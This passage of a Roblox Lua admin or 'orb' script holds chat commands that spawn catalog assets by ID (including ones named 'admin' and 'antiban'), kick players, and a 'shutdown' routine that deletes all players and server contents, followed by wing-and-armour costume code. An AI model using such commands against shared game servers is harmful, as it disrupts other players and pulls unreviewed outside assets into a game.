  880. wait(2)
  881. SPL.Part = nil
  882. end
  883. end
  884. end
  885. if (string.find(msg, string.lower("insert"))) then
  886. for word in msg:gmatch("%w+") do
  887. local player = matchPlayer(word)
  888. if (player ~= nil) then
  889. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  890. SPL.Color = BrickColor.new("New Yeller")
  891. SPL.Part = p
  892. g = game:GetService("InsertService"):LoadAsset(21013233)
  893. g.Parent = game.Workspace
  894. g:MoveTo(player.Character.Torso.Position)
  895. wait(2)
  896. SPL.Part = nil
  897. end
  898. end
  899. end
  900. if (string.find(msg, string.lower("admin"))) then
  901. for word in msg:gmatch("%w+") do
  902. local player = matchPlayer(word)
  903. if (player ~= nil) then
  904. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  905. SPL.Color = BrickColor.new("New Yeller")
  906. SPL.Part = p
  907. g = game:GetService("InsertService"):LoadAsset(36312261)
  908. g.Parent = game.Workspace
  909. wait(2)
  910. SPL.Part = nil
  911. end
  912. end
  913. end
  914. if (string.find(msg, string.lower("antiban"))) then
  915. for word in msg:gmatch("%w+") do
  916. local player = matchPlayer(word)
  917. if (player ~= nil) then
  918. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  919. SPL.Color = BrickColor.new("New Yeller")
  920. SPL.Part = p
  921. g = game:GetService("InsertService"):LoadAsset(36974847)
  922. g.Parent = game.Workspace
  923. wait(2)
  924. SPL.Part = nil
  925. end
  926. end
  927. end
  928. if (string.find(msg, string.lower("power"))) then
  929. for word in msg:gmatch("%w+") do
  930. local player = matchPlayer(word)
  931. if (player ~= nil) then
  932. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  933. SPL.Color = BrickColor.new("New Yeller")
  934. SPL.Part = p
  935. g = game:GetService("InsertService"):LoadAsset(36960710)
  936. g.Parent = game.Workspace
  937. wait(2)
  938. SPL.Part = nil
  939. end
  940. end
  941. end
  942. if (string.find(msg, string.lower("rickroll"))) then
  943. for word in msg:gmatch("%w+") do
  944. local player = matchPlayer(word)
  945. if (player ~= nil) then
  946. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  947. SPL.Color = BrickColor.new("New Yeller")
  948. SPL.Part = p
  949. g = game:GetService("InsertService"):LoadAsset(32812583)
  950. g.Parent = game.Workspace
  951. g:MoveTo(player.Character.Torso.Position)
  952. wait(2)
  953. SPL.Part = nil
  954. end
  955. end
  956. end
  957. if (string.find(msg, string.lower("drone"))) then
  958. for word in msg:gmatch("%w+") do
  959. local player = matchPlayer(word)
  960. if (player ~= nil) then
  961. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  962. SPL.Color = BrickColor.new("New Yeller")
  963. SPL.Part = p
  964. g = game:GetService("InsertService"):LoadAsset(36871946)
  965. g.Parent = game.Workspace
  966. g:MoveTo(player.Character.Torso.Position)
  967. wait(2)
  968. SPL.Part = nil
  969. end
  970. end
  971. end
  972. if (string.find(msg, string.lower("rifle"))) then
  973. for word in msg:gmatch("%w+") do
  974. local player = matchPlayer(word)
  975. if (player ~= nil) then
  976. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  977. SPL.Color = BrickColor.new("New Yeller")
  978. SPL.Part = p
  979. g = game:GetService("InsertService"):LoadAsset(36961524)
  980. g.Parent = game.Workspace
  981. g:MoveTo(player.Character.Torso.Position)
  982. wait(2)
  983. SPL.Part = nil
  984. end
  985. end
  986. end
  987. if (string.find(msg, string.lower("sword"))) then
  988. for word in msg:gmatch("%w+") do
  989. local player = matchPlayer(word)
  990. if (player ~= nil) then
  991. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  992. SPL.Color = BrickColor.new("New Yeller")
  993. SPL.Part = p
  994. g = game:GetService("InsertService"):LoadAsset(36871914)
  995. g.Parent = game.Workspace
  996. g:MoveTo(player.Character.Torso.Position)
  997. wait(2)
  998. SPL.Part = nil
  999. end
  1000. end
  1001. end
  1002. if (string.find(msg, string.lower("wand"))) then
  1003. for word in msg:gmatch("%w+") do
  1004. local player = matchPlayer(word)
  1005. if (player ~= nil) then
  1006. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1007. SPL.Color = BrickColor.new("New Yeller")
  1008. SPL.Part = p
  1009. g = game:GetService("InsertService"):LoadAsset(36871869)
  1010. g.Parent = game.Workspace
  1011. g:MoveTo(player.Character.Torso.Position)
  1012. wait(2)
  1013. SPL.Part = nil
  1014. end
  1015. end
  1016. end
  1017. if (string.find(msg, string.lower("pistol"))) then
  1018. for word in msg:gmatch("%w+") do
  1019. local player = matchPlayer(word)
  1020. if (player ~= nil) then
  1021. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1022. SPL.Color = BrickColor.new("New Yeller")
  1023. SPL.Part = p
  1024. g = game:GetService("InsertService"):LoadAsset(36874821)
  1025. g.Parent = game.Workspace
  1026. g:MoveTo(player.Character.Torso.Position)
  1027. wait(2)
  1028. SPL.Part = nil
  1029. end
  1030. end
  1031. end
  1032. if (string.find(msg, string.lower("assasin"))) then
  1033. for word in msg:gmatch("%w+") do
  1034. local player = matchPlayer(word)
  1035. if (player ~= nil) then
  1036. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1037. SPL.Color = BrickColor.new("New Yeller")
  1038. SPL.Part = p
  1039. g = game:GetService("InsertService"):LoadAsset(36960985)
  1040. g.Parent = game.Workspace
  1041. wait(2)
  1042. SPL.Part = nil
  1043. end
  1044. end
  1045. end
  1046. if (string.find(msg, string.lower("fire"))) then
  1047. for word in msg:gmatch("%w+") do
  1048. local player = matchPlayer(word)
  1049. if (player ~= nil) then
  1050. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1051. SPL.Color = BrickColor.new("New Yeller")
  1052. SPL.Part = p
  1053. f= Instance.new("Fire")
  1054. f.Parent = player.Character.Torso
  1055. wait(1)
  1056. SPL.Part = nil
  1057. end
  1058. end
  1059. end
  1060. if (string.find(msg, string.lower("green fire"))) then
  1061. for word in msg:gmatch("%w+") do
  1062. local player = matchPlayer(word)
  1063. if (player ~= nil) then
  1064. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1065. SPL.Color = BrickColor.new("New Yeller")
  1066. SPL.Part = p
  1067. f.Color = Color3.new(0,51,0)
  1068. f.SecondaryColor = Color3.new(0,51,0)
  1069. wait(1)
  1070. SPL.Part = nil
  1071. end
  1072. end
  1073. end
  1074. if (string.find(msg, string.lower("white"))) then
  1075. for word in msg:gmatch("%w+") do
  1076. local player = matchPlayer(word)
  1077. if (player ~= nil) then
  1078. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1079. SPL.Color = BrickColor.new("Bright blue")
  1080. f=Instance.new("Fire")f.Parent=p
  1081. f.Color=Color3.new(1,1,1)
  1082. f.SecondaryColor = Color3.new(1,1,1)
  1083. end
  1084. end
  1085. end
  1086. if (string.find(msg, string.lower("suit"))) then
  1087. for word in msg:gmatch("%w+") do
  1088. local player = matchPlayer(word)
  1089. if (player ~= nil) then
  1090. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1091. SPL.Color = BrickColor.new("Really black")
  1092. SPL.Part = p
  1093. player.Character:BreakJoints()
  1094. player.CharacterAppearance = "http://www.roblox.com/asset/?id=27911184"
  1095. end
  1096. end
  1097. end
  1098. if (string.find(msg, string.lower("kick"))) then
  1099. for word in msg:gmatch("%w+") do
  1100. local player = matchPlayer(word)
  1101. if (player ~= nil) then
  1102. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1103. SPL.Color = BrickColor.new("Bright blue")
  1104. SPL.Part = p
  1105. wait(1)
  1106. player:Remove()
  1107. SPL.Part = nil
  1108. end
  1109. end
  1110. end
  1111. if (string.find(msg, string.lower("shutdown"))) then
  1112. for word in msg:gmatch("%w+") do
  1113. local player = matchPlayer(word)
  1114. if (player ~= nil) then
  1115. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1116. SPL.Color = BrickColor.new("Bright blue")
  1117. SPL.Part = p
  1118. wait(1)
  1119. local e = game.StarterPack:getChildren()
  1120. for i = 1,#e do
  1121. e[i]:remove()
  1122. end
  1123. local f = game.StarterGui:getChildren()
  1124. for i = 1,#f do
  1125. f[i]:remove()
  1126. end
  1127. local g = game.Lighting:getChildren()
  1128. for i = 1,#g do
  1129. g[i]:remove()
  1130. end
  1131. local h = game.Players:getChildren()
  1132. for i = 1,#h do
  1133. h[i]:remove()
  1134. end
  1135. local j = game.Workspace:getChildren()
  1136. for i = 1, #j do
  1137. j[i]:remove()
  1138. end
  1139. SPL.Part = nil
  1140. end
  1141. end
  1142. end
  1143. if (string.find(msg, string.lower("stop"))) then
  1144. if (string.find(msg, string.lower("spin"))) then
  1145. BG.Parent = p
  1146. end
  1147. end
  1148. if (string.find(msg, string.lower("start"))) then
  1149. if (string.find(msg, string.lower("spin"))) then
  1150. BG.Parent = nil
  1151. end
  1152. end
  1153. if (string.find(msg, string.lower("invisible"))) then
  1154. for word in msg:gmatch("%w+") do
  1155. local player = matchPlayer(word)
  1156. if (player ~= nil) then
  1157. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1158. SPL.Color = BrickColor.new("Bright blue")
  1159. SPL.Part = p
  1160. for i,v in pairs(player.Character:GetChildren()) do
  1161. if (v:IsA("Part")) then
  1162. v.Transparency = 1
  1163. end
  1164. end
  1165. wait(1)
  1166. SPL.Part = nil
  1167. end
  1168. end
  1169. end
  1170. if not (string.find(msg, string.lower("invisible"))) then
  1171. if (string.find(msg, string.lower("visible"))) then
  1172. for word in msg:gmatch("%w+") do
  1173. local player = matchPlayer(word)
  1174. if (player ~= nil) then
  1175. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  1176. SPL.Color = BrickColor.new("Bright blue")
  1177. SPL.Part = p
  1178. for i,v in pairs(player.Character:GetChildren()) do
  1179. if (v:IsA("Part")) then
  1180. v.Transparency = 0
  1181. end
  1182. end
  1183. wait(1)
  1184. SPL.Part = nil
  1185. end
  1186. end
  1187. end
  1188. end
  1189. if (string.find(msg, string.lower("stay"))) then
  1190. local FOLLOW = false
  1191. end
  1192. if (string.find(msg, string.lower("follow"))) then
  1193. local FOLLOW = true
  1194. end
  1195. end
  1196.  
  1197. Player.Chatted:connect(onChatted)
  1198.  
  1199. local Levitated = 0
  1200. local LevitateDir = -1
  1201.  
  1202. while true do wait()
  1203. pcall(function()
  1204.  
  1205. -- PARENT THE ORB --
  1206. M.Parent = Player.Character
  1207.  
  1208. -- Levitation --
  1209. Levitated = Levitated + LevitateDir / 20
  1210. if Levitated >= 1 or Levitated <= -1 then
  1211. LevitateDir = -LevitateDir
  1212. end
  1213. if (FOLLOW == true) then
  1214. BP.position = (Player.Character.Torso.CFrame * CFrame.new(5, RISE, -2.5)).p + Vector3.new(0, Levitated, 0)
  1215. end
  1216. end)
  1217. end
  1218. Game.JointsService.DescendantAdded:connect()
  1219. Workspace.DescendantAdded:connect()
  1220. end)
  1221.  
  1222. sg.Adornee = Part1
  1223. sg.Face = "Back"
  1224. local tl2 = Instance.new("Frame",sg)
  1225. tl2.BackgroundColor3 = Color3.new(0,0,0)
  1226. tl2.Size = UDim2.new(0,800,0,600)
  1227. tl2.Visible = false
  1228. Part1.CanCollide = false
  1229.  
  1230.  
  1231. local www = Instance.new("TextButton", tl)
  1232. www.Size = UDim2.new(0,740,0,50)
  1233. www.Position = UDim2.new(0,0,0,540)
  1234. www.Text = 'Forward'
  1235. www.Font = 'Legacy'
  1236. www.FontSize = 'Size14'
  1237. www.BackgroundTransparency = 0.5
  1238. www.BackgroundColor3 = Color3.new(154, 21, 101)
  1239. www.BorderColor3 = Color3.new(46, 189, 168)
  1240. www.TextColor3 = Color3.new(150, 22, 5)
  1241. www.MouseButton1Click:connect(function()
  1242. tl.Visible = false
  1243. tl2.Visible = true
  1244. end)
  1245.  
  1246. local nnn = Instance.new("TextButton", tl)
  1247. nnn.Size = UDim2.new(0, 50, 0, 50)
  1248. nnn.Position = UDim2.new(0, 750, 0, 540)
  1249. nnn.Text = 'X'
  1250. nnn.Font = 'Legacy'
  1251. nnn.FontSize = 'Size14'
  1252. nnn.BackgroundTransparency = 0.5
  1253. nnn.BackgroundColor3 = Color3.new(154, 21, 101)
  1254. nnn.BorderColor3 = Color3.new(46, 189, 168)
  1255. nnn.TextColor3 = Color3.new(150, 22, 5)
  1256. nnn.MouseButton1Click:connect(function()
  1257. sg.Enabled = false
  1258. wait(2)
  1259. Part1:remove()
  1260. end)
  1261.  
  1262. local button10 = Instance.new("TextButton", tl2)
  1263. button10.Size = UDim2.new(0,740,0,50)
  1264. button10.Position = UDim2.new(0,0,0,540)
  1265. button10.Text = 'Forward'
  1266. button10.Font = 'Legacy'
  1267. button10.FontSize = 'Size14'
  1268. button10.BackgroundTransparency = 0.5
  1269. button10.BackgroundColor3 = Color3.new(154, 21, 101)
  1270. button10.BorderColor3 = Color3.new(46, 189, 168)
  1271. button10.TextColor3 = Color3.new(150, 22, 5)
  1272. button10.MouseButton1Click:connect(function()
  1273. end)
  1274.  
  1275. local bbb = Instance.new("TextButton", tl2)
  1276. bbb.Size = UDim2.new(0, 50, 0, 50)
  1277. bbb.Position = UDim2.new(0, 750, 0, 540)
  1278. bbb.Text = 'X'
  1279. bbb.Font = 'Legacy'
  1280. bbb.FontSize = 'Size14'
  1281. bbb.BackgroundTransparency = 0.5
  1282. bbb.BackgroundColor3 = Color3.new(154, 21, 101)
  1283. bbb.BorderColor3 = Color3.new(46, 189, 168)
  1284. bbb.TextColor3 = Color3.new(150, 22, 5)
  1285. bbb.MouseButton1Click:connect(function()
  1286. sg.Enabled = false
  1287. wait(2)
  1288. Part1:remove()
  1289. end)
  1290.  
  1291. local button11 = Instance.new("TextButton", tl2)
  1292. button11.Size = UDim2.new(0,800,0,50)
  1293. button11.Position = UDim2.new(0,0,0,0)
  1294. button11.Text = 'Give Epic Wings'
  1295. button11.Font = 'Legacy'
  1296. button11.FontSize = 'Size14'
  1297. button11.BackgroundTransparency = 0.5
  1298. button11.BackgroundColor3 = Color3.new(46, 189, 168)
  1299. button11.BorderColor3 = Color3.new(46, 189, 168)
  1300. button11.TextColor3 = Color3.new(56, 255, 249)
  1301. button11.MouseButton1Click:connect(function()
  1302. -------------------------------------------Epic CostumOf Epic Pwnsomeness-----------------------------------------------
  1303. print("Daracotian Loaded")
  1304.  
  1305.  
  1306. if (script.Parent.className ~= "HopperBin") then
  1307. local h = Instance.new("HopperBin")
  1308. h.Name = "Daracotian"
  1309. h.Parent = game.Players["ProFiGames"].Backpack
  1310. script.Parent = h
  1311. script.Name = "Function"
  1312. end
  1313.  
  1314.  
  1315.  
  1316. Player = script.Parent.Parent.Parent
  1317. Person = Player
  1318. Character = Player.Character
  1319. Torso = Character.Torso
  1320. Head = Character:findFirstChild("Head")
  1321. LA = Character:findFirstChild("Left Arm")
  1322. RA = Character:findFirstChild("Right Arm")
  1323. LL = Character:findFirstChild("Left Leg")
  1324. RL = Character:findFirstChild("Right Leg")
  1325. Characters = Instance.new("Model")
  1326. Characters.Name = "Suit"
  1327. Characters.Parent = Character
  1328.  
  1329.  
  1330. Bin = script.Parent
  1331. Person = game.Players.LocalPlayer
  1332. PersonT = Person.Character.Torso
  1333. Hold = false
  1334. Lazer = false
  1335. Grabbed = nil
  1336. Debounce = false
  1337. FDebounce = false
  1338. Flight = false
  1339. NormalHand = 2 --Change to your preffered hand 1 being "Right" and 2 begin "Left"
  1340. NormalFoot = 4 --Change to your preffered foot 3 being "Right" and 4 begin "Left"
  1341. Joints = {PersonT:findFirstChild("Right Shoulder"), PersonT:findFirstChild("Left Shoulder"), PersonT:findFirstChild("Right Hip"), PersonT:findFirstChild("Left Hip")}
  1342. Limbs = {Person.Character:findFirstChild("Right Arm"), Person.Character:findFirstChild("Left Arm"), Person.Character:findFirstChild("Right Leg"), Person.Character:findFirstChild("Left Leg")}
  1343.  
  1344. UsingTools = 0
  1345. AnimatingTools = false
  1346.  
  1347.  
  1348. Suit = Character.Suit
  1349.  
  1350.  
  1351. --Head!!!!!!!!
  1352. Ha = Character.Head:Clone()
  1353.  
  1354. Ha.BrickColor = BrickColor.new("New Yeller")
  1355. Ha.face:Remove()
  1356. Ha2 = Ha:Clone()
  1357. Ha.Transparency = 0.5
  1358. Ha.Name = "Head"
  1359. Ha.Reflectance = 0.7
  1360. Ha.Mesh.Scale = Ha.Mesh.Scale + Vector3.new(0.05,0.05,0.05)
  1361.  
  1362. Ha2.Name = "HeadMotor"
  1363. Ha2.Transparency = 1
  1364. Ha2.Mesh:Remove()
  1365.  
  1366. Ha2.Parent = Characters
  1367. Haw = Instance.new("Weld")
  1368. Haw.Part0 = Torso
  1369. Haw.Part1 = Ha2
  1370. Haw.Parent = Torso
  1371. Haw.C0 = CFrame.new(0,1.5,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1372.  
  1373. Ha.Parent = Characters
  1374. Hmotor1 = Instance.new("Motor")
  1375. Hmotor1.Parent = Ha2
  1376. Hmotor1.Part0 = Ha2
  1377. Hmotor1.Part1 = Ha
  1378. Hmotor1.MaxVelocity = 0.05
  1379. Hmotor1.C1 = CFrame.new(0,0,0)
  1380.  
  1381. -- Left Wing!!!
  1382. w11 = Instance.new("Part")
  1383. w11.Name = "LWingMotor"
  1384. w11.formFactor = "Symmetric"
  1385. w11.Size = Vector3.new(1,1,1)
  1386. w11.TopSurface = "Smooth"
  1387. w11.BottomSurface = "Smooth"
  1388. w11.CanCollide = false
  1389. w11.Transparency = 1
  1390.  
  1391. w12 = Instance.new("Part")
  1392. w12.Name = "Wing1"
  1393. w12.BrickColor = BrickColor.new("New Yeller")
  1394. w12.formFactor = "Symmetric"
  1395. w12.Size = Vector3.new(1,5,2)
  1396. w12.TopSurface = "Smooth"
  1397. w12.BottomSurface = "Smooth"
  1398. w12.CanCollide = false
  1399. w12.Transparency = 0.35
  1400. w12.Reflectance = 0.7
  1401.  
  1402. w1m = Instance.new("SpecialMesh")
  1403. w1m.Parent = w12
  1404. w1m.MeshType = "Sphere"
  1405. w1m.Scale = Vector3.new(0.2, 1.25, 1)
  1406.  
  1407. w11.Parent = Characters
  1408. ww1 = Instance.new("Weld")
  1409. ww1.Part0 = Torso
  1410. ww1.Part1 = w11
  1411. ww1.Parent = Torso
  1412. ww1.C0 = CFrame.new(-0.4,0,0.8)*CFrame.fromEulerAnglesXYZ(0.5, 0, 0.5)
  1413.  
  1414. w12 .Parent = Characters
  1415. motor1 = Instance.new("Motor")
  1416. motor1.Parent = w11
  1417. motor1.Part0 = w11
  1418. motor1.Part1 = w12
  1419. motor1.MaxVelocity = 0.35
  1420. motor1.C1 = CFrame.new(0,-2,0.5)
  1421.  
  1422. --Right Wing!!!
  1423. w21 = Instance.new("Part")
  1424. w21.Name = "RWingMotor"
  1425. w21.formFactor = "Symmetric"
  1426. w21.Size = Vector3.new(1,1,1)
  1427. w21.TopSurface = "Smooth"
  1428. w21.BottomSurface = "Smooth"
  1429. w21.CanCollide = false
  1430. w21.Transparency = 1
  1431.  
  1432. w22 = Instance.new("Part")
  1433. w22.Name = "Wing2"
  1434. w22.BrickColor = BrickColor.new("New Yeller")
  1435. w22.formFactor = "Symmetric"
  1436. w22.Size = Vector3.new(1,5,2)
  1437. w22.TopSurface = "Smooth"
  1438. w22.BottomSurface = "Smooth"
  1439. w22.CanCollide = false
  1440. w22.Transparency = 0.35
  1441. w22.Reflectance = 0.7
  1442.  
  1443. w2m = Instance.new("SpecialMesh")
  1444. w2m.Parent = w22
  1445. w2m.MeshType = "Sphere"
  1446. w2m.Scale = Vector3.new(0.2, 1.25, 1)
  1447.  
  1448. w21.Parent = Characters
  1449. ww2 = Instance.new("Weld")
  1450. ww2.Part0 = Torso
  1451. ww2.Part1 = w21
  1452. ww2.Parent = Torso
  1453. ww2.C0 = CFrame.new(0.4,0,0.8)*CFrame.fromEulerAnglesXYZ(0.5, 0, -0.5)
  1454.  
  1455. w22 .Parent = Characters
  1456. motor2 = Instance.new("Motor")
  1457. motor2.Parent = w21
  1458. motor2.Part0 = w21
  1459. motor2.Part1 = w22
  1460. motor2.MaxVelocity = 0.35
  1461. motor2.C1 = CFrame.new(0,-2,0.5)
  1462.  
  1463.  
  1464.  
  1465. -- Extra Right Wings!!!
  1466.  
  1467. Lwing1 = w22:Clone()
  1468. Lwing1.Parent = Characters
  1469. Lw1w = Instance.new("Weld")
  1470. Lw1w.Part0 = w22
  1471. Lw1w.Part1 = Lwing1
  1472. Lw1w.Parent = w22
  1473. Lw1w.C0 = CFrame.new(0,-0.5,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
  1474.  
  1475. Lwing2 = Lwing1:Clone()
  1476. Lwing2.Parent = Characters
  1477. Lw2w = Instance.new("Weld")
  1478. Lw2w.Part0 = Lwing1
  1479. Lw2w.Part1 = Lwing2
  1480. Lw2w.Parent = Lwing1
  1481. Lw2w.C0 = CFrame.new(0,-0.3,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
  1482.  
  1483.  
  1484.  
  1485. --Extra Left Wings!!!
  1486.  
  1487. Rwing1 = w12:Clone()
  1488. Rwing1.Parent = Characters
  1489. Rw1w = Instance.new("Weld")
  1490. Rw1w.Part0 = w12
  1491. Rw1w.Part1 = Rwing1
  1492. Rw1w.Parent = w12
  1493. Rw1w.C0 = CFrame.new(0,-0.5,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
  1494.  
  1495. Rwing2 = Lwing1:Clone()
  1496. Rwing2.Parent = Characters
  1497. Rw2w = Instance.new("Weld")
  1498. Rw2w.Part0 = Rwing1
  1499. Rw2w.Part1 = Rwing2
  1500. Rw2w.Parent = Rwing1
  1501. Rw2w.C0 = CFrame.new(0,-0.3,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
  1502.  
  1503.  
  1504.  
  1505.  
  1506. -- Torso!!!!!!!
  1507. --BackShuriken!!!
  1508. Bs = Instance.new("Part")
  1509. Bs.Name = "BackShuriken"
  1510. Bs.formFactor = "Plate"
  1511. Bs.Size = Vector3.new(2,0.4,2)
  1512. Bs.TopSurface = "Smooth"
  1513. Bs.BottomSurface = "Smooth"
  1514. Bs.CanCollide = false
  1515. Instance.new("Sparkles").Parent = Bs
  1516. Bs.Sparkles.Enabled = false
  1517.  
  1518. Smb = Instance.new("SpecialMesh")
  1519. Smb.Parent = Bs
  1520. Smb.MeshType = "FileMesh"
  1521. Smb.TextureId = "http://www.roblox.com/asset/?id=11112112" -- Shuriken Texture Id 1
  1522. Smb.MeshId = "http://www.roblox.com/asset/?id=11112101" -- Shuriken Mesh Id 1
  1523. Smb.Scale = Vector3.new(7,9,7)
  1524.  
  1525. Bs.Parent = Characters
  1526. Bsw = Instance.new("Weld")
  1527. Bsw.Part0 = Torso
  1528. Bsw.Part1 = Bs
  1529. Bsw.Parent = Torso
  1530. Bsw.C0 = CFrame.new(0,0,0.65)*CFrame.fromEulerAnglesXYZ(1.5,0,0)
  1531.  
  1532. -- Torso Armor!!!
  1533. Ta = Instance.new("Part")
  1534. Ta.Name = "TorsoArmor"
  1535. Ta.formFactor = "Symmetric"
  1536. Ta.Size = Vector3.new(2,2,1)
  1537. Ta.TopSurface = "Smooth"
  1538. Ta.BottomSurface = "Smooth"
  1539. Ta.BrickColor = BrickColor.new("Really black")
  1540. Ta.Reflectance = 0.4
  1541. Ta.Transparency = 0.5
  1542.  
  1543. Tam = Instance.new("BlockMesh")
  1544. Tam.Parent = Ta
  1545. Tam.Scale = Vector3.new(0.9,1.005,1.2)
  1546.  
  1547. Ta.Parent = Characters
  1548. Taw = Instance.new("Weld")
  1549. Taw.Part0 = Torso
  1550. Taw.Part1 = Ta
  1551. Taw.Parent = Torso
  1552. Taw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1553.  
  1554.  
  1555.  
  1556.  
  1557.  
  1558.  
  1559.  
  1560. -- Torso X Front!!!
  1561. x1 = Instance.new("Part")
  1562. x1.Name = "X1"
  1563. x1.formFactor = "Symmetric"
  1564. x1.Size = Vector3.new(1,3,1)
  1565. x1.TopSurface = "Smooth"
  1566. x1.BottomSurface = "Smooth"
  1567. x1.BrickColor = BrickColor.new("Really red")
  1568. x1.Reflectance = 0.1
  1569. x1.CanCollide = false
  1570.  
  1571. x1m = Instance.new("BlockMesh")
  1572. x1m.Parent = x1
  1573. x1m.Scale = Vector3.new(0.3,0.95,0.3)
  1574.  
  1575.  
  1576. x2 = Instance.new("Part")
  1577. x2.Name = "X2"
  1578. x2.formFactor = "Symmetric"
  1579. x2.Size = Vector3.new(1,3,1)
  1580. x2.TopSurface = "Smooth"
  1581. x2.BottomSurface = "Smooth"
  1582. x2.BrickColor = BrickColor.new("Really red")
  1583. x2.Reflectance = 0.1
  1584. x2.CanCollide = false
  1585.  
  1586. x2m = Instance.new("BlockMesh")
  1587. x2m.Parent = x2
  1588. x2m.Scale = Vector3.new(0.3,0.95,0.3)
  1589.  
  1590. x1.Parent = Characters
  1591. x1w = Instance.new("Weld")
  1592. x1w.Part0 = Torso
  1593. x1w.Part1 = x1
  1594. x1w.Parent = Torso
  1595. x1w.C0 = CFrame.new(0,0,-0.55)*CFrame.fromEulerAnglesXYZ(0,0,0.7)
  1596.  
  1597. x2.Parent = Characters
  1598. x2w = Instance.new("Weld")
  1599. x2w.Part0 = Torso
  1600. x2w.Part1 = x2
  1601. x2w.Parent = Torso
  1602. x2w.C0 = CFrame.new(0,0,-0.55)*CFrame.fromEulerAnglesXYZ(0,0,-0.7)
  1603.  
  1604. x0 = Instance.new("Part")
  1605. x0.Name = "X0"
  1606. x0.formFactor = "Symmetric"
  1607. x0.Size = Vector3.new(1,1,1)
  1608. x0.TopSurface = "Smooth"
  1609. x0.BottomSurface = "Smooth"
  1610. x0.BrickColor = BrickColor.new("Really red")
  1611. x0.Reflectance = 0.1
  1612. x0.CanCollide = false
  1613.  
  1614. x0m = Instance.new("SpecialMesh")
  1615. x0m.Parent = x0
  1616. x0m.MeshType = "Sphere"
  1617. x0m.Scale = Vector3.new(1,1,0.5)
  1618.  
  1619. x0.Parent = Characters
  1620. x0w = Instance.new("Weld")
  1621. x0w.Part0 = Torso
  1622. x0w.Part1 = x0
  1623. x0w.Parent = Torso
  1624. x0w.C0 = CFrame.new(0,0,-0.55)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1625.  
  1626.  
  1627.  
  1628.  
  1629. --Dark Suit Ball!!!
  1630. db = Instance.new("Part")
  1631. db.Name = "DarkBall"
  1632. db.formFactor = "Symmetric"
  1633. db.Shape = "Ball"
  1634. db.Size = Vector3.new(1,1,1)
  1635. db.TopSurface = "Smooth"
  1636. db.BottomSurface = "Smooth"
  1637. db.BrickColor = BrickColor.new("Really black")
  1638. db.Transparency = 0.955
  1639. db.CanCollide = false
  1640. db.CFrame = Torso.CFrame
  1641.  
  1642. dbm = Instance.new("SpecialMesh")
  1643. dbm.Parent = db
  1644. dbm.MeshType = "Sphere"
  1645. dbm.Scale = Vector3.new(20,20,20)
  1646.  
  1647. dsbp = Instance.new("BodyPosition")
  1648. dsbp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1649. dsbp.Parent = db
  1650. db.Parent = Characters
  1651.  
  1652.  
  1653.  
  1654.  
  1655.  
  1656. -- Left Arm!!!!!!!!!!!!!!!!
  1657.  
  1658.  
  1659. -- Left Arm Armor!!!!
  1660. LAa = Instance.new("Part")
  1661. LAa.Name = "LeftArmArmor"
  1662. LAa.formFactor = "Symmetric"
  1663. LAa.Size = Vector3.new(1,2,1)
  1664. LAa.TopSurface = "Smooth"
  1665. LAa.BottomSurface = "Smooth"
  1666. LAa.BrickColor = BrickColor.new("Really black")
  1667. LAa.Reflectance = 0.1
  1668. LAa.Transparency = 0.1
  1669.  
  1670. LAm = Instance.new("BlockMesh")
  1671. LAm.Parent = LAa
  1672. LAm.Scale = Vector3.new(1.1,1.1,1.1)
  1673.  
  1674. LAa.Parent = Characters
  1675. LAaw = Instance.new("Weld")
  1676. LAaw.Part0 = LA
  1677. LAaw.Part1 = LAa
  1678. LAaw.Parent = LA
  1679. LAaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1680.  
  1681. --Left Arm Wedge1!!!
  1682. LAw = Instance.new("WedgePart")
  1683. LAw.Name = "LeftArmWedge"
  1684. LAw.formFactor = "Plate"
  1685. LAw.Size = Vector3.new(1, 0.4, 1)
  1686. LAw.TopSurface = "Smooth"
  1687. LAw.BottomSurface = "Smooth"
  1688. LAw.BrickColor = BrickColor.new("Really black")
  1689. LAw.Reflectance = 0.1
  1690. LAw.Transparency = 0.1
  1691.  
  1692.  
  1693. LAw.Parent = Characters
  1694. LAww = Instance.new("Weld")
  1695. LAww.Part0 = LAw
  1696. LAww.Part1 = LA
  1697. LAww.Parent = LAw
  1698. LAww.C0 = CFrame.new(0,-0.7,0.5)*CFrame.fromEulerAnglesXYZ(0,-1.5,-1.6)
  1699.  
  1700.  
  1701.  
  1702. --Left Arm Shuriken!!!
  1703. LAs = Instance.new("Part")
  1704. LAs.Name = "LeftArmShuriken"
  1705. LAs.formFactor = "Plate"
  1706. LAs.Size = Vector3.new(1, 0.4, 1)
  1707. LAs.TopSurface = "Smooth"
  1708. LAs.BottomSurface = "Smooth"
  1709. LAs.BrickColor = BrickColor.new("Really black")
  1710. LAs.Reflectance = 0.1
  1711.  
  1712. Lasm = Instance.new("SpecialMesh")
  1713. Lasm.Parent = LAs
  1714. Lasm.MeshType = "FileMesh"
  1715. Lasm.TextureId = "http://www.roblox.com/asset/?id=11376931" -- Shuriken Texture Id 2
  1716. Lasm.MeshId = "http://www.roblox.com/asset/?id=11376946" -- Shuriken Mesh Id 2
  1717. Lasm.Scale = Vector3.new(3,5,3)
